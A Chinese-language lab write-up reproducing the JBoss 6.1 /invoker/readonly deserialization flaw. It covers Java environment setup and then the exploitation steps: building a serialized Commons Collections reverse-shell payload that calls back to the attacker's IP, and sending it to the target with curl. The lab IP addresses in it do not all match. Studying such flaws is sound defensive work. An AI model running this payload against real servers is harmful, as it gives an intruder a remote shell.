0x00 环境搭建
攻击机:192.168.1.102(kali)
目标机:192.168.1.101(ubuntu)
使用ubuntu搭建漏洞环境
JBOSS 下载地址:http://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip
|
配置java环境
删除java环境配置信息
(1) apt-get update
(2) apt-cache search java | awk '{print($1)}' | grep -E -e '^(ia32-)?(sun|oracle)-java' -e '^openjdk-' -e '^icedtea' -e '^(default|gcj)-j(re|dk)' -e '^gcj-(.*)-j(re|dk)' -e 'java-common' | xargs sudo apt-get -y remove
(3) apt-get -y autoremove
2、清除配置信息: dpkg -l | grep ^rc | awk '{print($2)}' | xargs sudo apt-get -y purge
3、清除java配置及缓存: bash -c 'ls -d /home/*/.java' | xargs sudo rm -rf
4、手动清除JVMs: rm -rf /usr/lib/jvm/*
|
安装javac环境(工具需要javac支持,默认安装的java无法执行javac) 官网下载完整版java环境,根据系统环境下载
创建单独目录 sudo mkdir /usr/local/java
将下载好的环境复制到/usr/local/java下
配置环境变量 sudo gedit /etc/environment
修改Path,JAVA_HOME是JDK的目录 PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$JAVA_HOME/bin" export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib export JAVA_HOME=/usr/local/java/jdk名称
使环境变量立刻生效 source /etc/environment
配置所有用户的环境变量 为了预防重启后,配置的环境变量无效,配置所有用户的环境变量 sudo gedit /etc/profile
在文本末尾添加 #set Java environment export JAVA_HOME=/usr/local/java/jdk名称 export JRE_HOME=$JAVA_HOME/jre export CLASSPATH=.:$JAVA_HOME/lib:$JRE_HOME/lib:$CLASSPATH export PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH
执行全局设置立刻生效命令 source /etc/profile
重启 reboot
运行javac -version 、java -version 出现版本说明安装成功
|
设置允许远程访问
进入/jboss-6.1.0.Final/bin目录运行 sh run.sh
|
搭建成功截图
0x01 漏洞复现
访问以下连接出现500,则存在此漏洞
http://192.168.43.191:8080/invoker/readonly
|
使用工具验证漏洞
下载这个JavaDeserH2HC工具,用来反弹shell。(目标机下载运行)
目标机 javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.102:80
curl http://192.168.1.101:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
|
成功反弹!
0x02 总结
总体说遇到不少坑吧,第一个java环境,一开始环境没搭建好老是出问题,最后发现是没有安装javac环境,重新卸载了java,安装的完整版的。
第二个就是脚本需要在目标机下载运行,所以需要先下载到目标机,方法也挺多的。后续准备找下测试机器实战一下。。